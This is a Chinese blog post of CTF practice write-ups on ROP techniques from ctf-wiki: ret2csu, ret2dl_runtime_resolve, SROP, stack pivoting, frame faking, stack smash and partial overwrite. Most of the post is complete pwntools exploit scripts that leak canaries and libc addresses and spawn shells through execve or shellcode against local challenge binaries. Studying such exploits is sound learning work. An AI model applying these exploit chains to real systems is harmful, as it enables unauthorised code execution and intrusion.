ctfwiki rop 练习

部门要准备十一月份的比赛,我也跟着报了个名。虽然自己的pwn现在还很水,但是想着趁这个机会督促自己一把,花点时间好好练一些题。平时除了练题,还有其他工作上的事要做,所以这个只是简单地把我做过的题目的write up做了个罗列,还木有时间写详细的分析过程啦。不过想想,除了自己可能也没谁会来看,等以后有时间(呵呵呵)了再回过头来整理吧~

中级ROP

题目1 ret2csu

ret2csu主要是利用__libsc_csu_init()函数中的gadget,如下代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn

将0x40061a至0x400624命名为“片段1”,0x400600至0x400614命名为“片段2”。利用ret2csu时,首先将eip劫持到“片段1”,并通过在栈上提前布置rbx,rbp,r12,r13,r14,r15,达到控制寄存器的目的,再利用片段1中的额retn使程序流转到片段2去执行。片段2中会将r13,r14,r15(低32位)分别用于控制rdx,rsi,edi,如此便能控制64位下的前三个函数参数。紧接着有一条call指令,只要提前将r12控制为目标函数(目标函数地址存放的地址),并将rbx置为0,就可以实现任意函数执行了。后面还有个cmp(提前将rbx设置为0,rbp设置为1)以及一些列pop,提前构造好后,程序会再次运行到最后一行0x400624,此时还可以劫持一次eip,让程序继续执行(如回到main函数)。

这里使用的示例程序是level5,分析后,构造的第一次ret2csu状态如下。执行完csu_front(上文中的片段2)后,会继续执行片段1,为了控制最后一行0x400624 retn时的eip,需要在栈上填充0x38字节数据(为了安全执行完0x400616至0x400622之间的代码)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
+--------------------+
| csu_front:0x400600
+--------------------+
| r15 | 1
+--------------------+
| r14 | got_write
+--------------------+
| r13 | 8
+--------------------+
| r12 | got_write
+--------------------+
| rbp | 1
+--------------------+
| rbx | 0
+--------------------+
| ret addr | csu_end:0x40061a
+--------------------+
| ebp | 'aaaaaaaa'
+--------------------+
| |
| 'a'*0x80 |
| |
+--------------------+ buf

该题exp如下,用到的libc是我本地ubuntu18.04的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding=utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./level5")
myproc = process(myelf.path)

csu_front = 0x400600
csu_end = 0x40061a

got_write = myelf.got['write']
got_read = myelf.got['read']
bss_addr = myelf.bss()
main_addr = myelf.symbols['main']

def ret2csu(rbx,rbp,r12,r13,r14,r15,next_addr):
payload = 'a'*0x80 # patch
payload += 'deadbeef' # overwrite ebp
payload += p64(csu_end) # overwrite return addr, jump to csu_end
payload += p64(rbx) # set rbx to r15
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(csu_front) # jump to csu_front,and exec r12
payload += 'a'*0x38 # 2nd csu_end,and jump to next eip
payload += p64(next_addr)
myproc.send(payload)

# write(1,got_write,8)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,got_write,8,got_write,1,main_addr)
write_addr = u64(myproc.recv(8))

# read(0,bss_addr,20)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,got_read,20,bss_addr,0,main_addr)

# input: p64(exec_addr)+'/bin/sh\x00'
libc_base = write_addr - 0x110250
exec_addr = libc_base + 0xe4e90
bss_data = p64(exec_addr) + "/bin/sh\x00"
myproc.send(bss_data)

# execve("/bin/sh",null,null)
myproc.recvuntil("Hello, World\n")
ret2csu(0,1,bss_addr,0,0,bss_addr+8,main_addr)

#gdb.attach(myproc)
#log.warn("write addr is : 0x%x" % write_addr)
myproc.interactive()

题目2 ret2reg

题目3 BROP

高级 ROP

题目1 ret2_dl_runtime_resolve

_dl_runtime_resolve: https://www.jianshu.com/p/57f6474fe4c6

深入了解GOT,PLT和动态链接: https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

以上结合https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/ 可以写一篇笔记记录一下。免得以后忘记。

练习题目我的wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#coding=utf-8
from pwn import *

context(arch="i386",os="linux",log_level="debug")

myelf = ELF("./main")
myrop = ROP("./main")
myproc = process(myelf.path)

bss_addr = myelf.bss()
new_esp = bss_addr + 0x500

myrop.raw('a'*112)
myrop.read(0,new_esp,100)
myrop.migrate(new_esp)
#log.warn("myrop is : %s" % myrop.dump())

myproc.recvuntil("Welcome to XDCTF2015~!\n")
myproc.sendline(myrop.chain())

#myrop2 = ROP("./main")
#sh = "/bin/sh"
#myrop2.write(1,new_esp+80,len(sh))
#myrop2.raw('b'*(80 - len(myrop2.chain())))
#myrop2.raw(sh)
#myrop2.raw('a'*(100 - len(myrop2.chain())))
##log.warn("myrop is : %s" % myrop2.dump())
#myproc.sendline(myrop2.chain())
#myproc.interactive()

#myrop2 = ROP("./main")
#sh ="/bin/sh"
#plt_addr = myelf.get_section_by_name('.plt').header.sh_addr
#write_index = (myelf.plt['write'] - plt_addr)/16 -1
#patch_wt_ret = 'aaaa'
#myrop2.raw(plt_addr)
#myrop2.raw(write_index*8)
#myrop2.raw(patch_wt_ret)
#myrop2.raw(1)
#myrop2.raw(new_esp+80)
#myrop2.raw(len(sh))
#myrop2.raw('b'*(80 - len(myrop2.chain())))
#myrop2.raw(sh)
#myrop2.raw('b'*(100 - len(myrop2.chain())))
#
#myproc.sendline(myrop2.chain())
#myproc.interactive()
#

myrop2 = ROP('./main')
sh = "/bin/sh"
plt_addr = myelf.get_section_by_name('.plt').header.sh_addr
rel_plt = myelf.get_section_by_name('.rel.plt').header.sh_addr

write_got = myelf.got['write']
r_info = 0x607

fake_index = new_esp + 24 - rel_plt

myrop2.raw(plt_addr)
myrop2.raw(fake_index)
myrop2.raw('aaaa')
myrop2.raw(1)
myrop2.raw(new_esp+80)
myrop2.raw(len(sh))
myrop2.raw(write_got)
myrop2.raw(r_info)
myrop2.raw('b'*(80-len(myrop2.chain())))
myrop2.raw(sh)
myrop2.raw('b'*(100-len(myrop2.chain())))
myproc.sendline(myrop2.chain())
myproc.interactive()

题目2 SROP

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop

拓展:https://bbs.pediy.com/thread-258047.htm

练习题目我的wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#coding=utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./smallest")
myproc = process(myelf.path)

ret_start = 0x4000b0
ret_syscall = 0x4000be

# read(0,&rsp,0x400); read(1,&rsp,0x400)
payload1 = p64(ret_start)*3
myproc.send(payload1)
myproc.send('\xb3')
stack_addr = u64(myproc.recv()[8:16])
log.warn("stack_addr is: 0x%x" % stack_addr)

#read(0,&rsp,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rip = ret_syscall
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr

payload1 = p64(ret_start) + 'a'*8 + str(sigframe)
payload2 = p64(ret_syscall) + 'a'*7
myproc.send(payload1)
myproc.send(payload2)

# new stack - we know the addr
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rip = ret_syscall
sigframe.rdi = stack_addr + 0x150
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr

payload1 = p64(ret_start) + 'a'*8 + str(sigframe)
#log.warn("len: 0x%x " % len(payload1))
payload = payload1 + 'a'*(0x150 - len(payload1)) + "/bin/sh\x00"

payload2 = p64(ret_syscall) + 'a'*7
myproc.send(payload)
myproc.send(payload2)

myproc.interactive()

题目3 ret2VDSO

ROP Tricks

题目1 stack pivoting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./b0verfl0w')
myproc = process(myelf.path)

offset = 36

#shellcode_x86 = "\x31\xc0\x50\x68\x2f\x2f\x73"
#shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89"
#shellcode_x86 += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
#shellcode_x86 += "\xcd\x80\x31\xc0\x40\xcd\x80"

shellcode_x86 = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

payload = shellcode_x86 + 'a'*(36- len(shellcode_x86)) + p32(0x08048504)
payload += asm('sub esp,40;jmp esp')

myproc.recvuntil("What's your name?")
myproc.sendline(payload)

myproc.interactive()

题目2 frame faking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./over.over')
myproc = process(myelf.path)
mylibc = myelf.libc

offset = 0x58
total_len = 0x60

##leak stack
payload = 'a'*0x50
myproc.recvuntil('>')
myproc.send(payload)
prev_rbp = u64(myproc.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.warn('recieved: 0x%x' % prev_rbp)

##leak libc,puts(&got_puts)
pop_rdi_ret = 0x400793
rbp1 = prev_rbp-0x20-0x50
ending = 0x4006be
leak_libc_chain = 'a'*8+p64(pop_rdi_ret)+p64(myelf.got['puts'])+p64(myelf.plt['puts'])+p64(0x400676)
payload1 = leak_libc_chain+(0x50-len(leak_libc_chain))*'a'+p64(rbp1)+p64(ending)
myproc.recvuntil('>')
myproc.send(payload1)
leak_puts = u64(myproc.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.warn('recieved: 0x%x' % leak_puts)
log.warn('mylibc.sym: 0x%x' % mylibc.sym['puts'])
libc_base = leak_puts - mylibc.sym['puts']
log.warn('libc_base: 0x%x' % libc_base)

## get shell,execve("/bin/sh\x00",null,null)
pop_rdx_rsi_ret = libc_base + 0x115189
exec_addr = libc_base + mylibc.sym['execve']
bin_sh = libc_base + next(mylibc.search("/bin/sh"))
rbp2 = prev_rbp-0x20-0x50-0x30

exec_chain = flat(['a'*8,p64(pop_rdx_rsi_ret),p64(0),p64(0),p64(pop_rdi_ret),p64(bin_sh),p64(exec_addr)])
payload2 = exec_chain + (0x50-len(exec_chain))*'a' + p64(rbp2) + p64(ending)
myproc.recvuntil('>')
myproc.send(payload2)

#gdb.attach(myproc)
myproc.interactive()

题目3 Stack smash

2015年32c3 ctf readme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./readme.bin')
myproc = process(myelf.path)

argv0_addr = 0x7fffffffdda8
name_addr = 0x7fffffffdb90
backup_string = 0x400d21
payload = 'a'*(argv0_addr-name_addr) + p64(backup_string)

myproc.recvuntil("Hello!\nWhat's your name? ")
myproc.sendline(payload)
myproc.recvuntil("Please overwrite the flag: ")
myproc.sendline('aaa')
myproc.recv()
myproc.interactive()

题目4 栈上的partial overwrite

2018-安恒杯-babypie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

myelf = ELF('./babypie')
myproc = process(myelf.path)

payload1 = 'a'*(0x28+1)

#leak canary
myproc.recvuntil("Input your Name:")
myproc.send(payload1)
myproc.recvuntil('a'*0x29)
canary = u64('\x00' + myproc.recv(7))

#overwrite 1 byte
payload2 = 'a'*0x28 + p64(canary) + 'a'*0x8 + '\x3E'

myproc.recvuntil(":\n")
myproc.send(payload2)

myproc.interactive()

2018-XNUCA-gets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding=utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

for i in range(0x1000):
myelf = ELF('./gets')
myproc = process(myelf.path)
try:
payload = 'a'*24 + p64(0x40059b)
payload += 'aaaaaaaa'*5 + p64(0x40059b)
payload += 'aaaaaaaa'*5 + p64(0x40059b)
payload += 'a' * 8 * 5 + '\x26\x02'
myproc.sendline(payload)
myproc.sendline('ls')
data = myproc.recv()
print data
myproc.interactive()
myproc.close()
except Exception:
myproc.close()
continue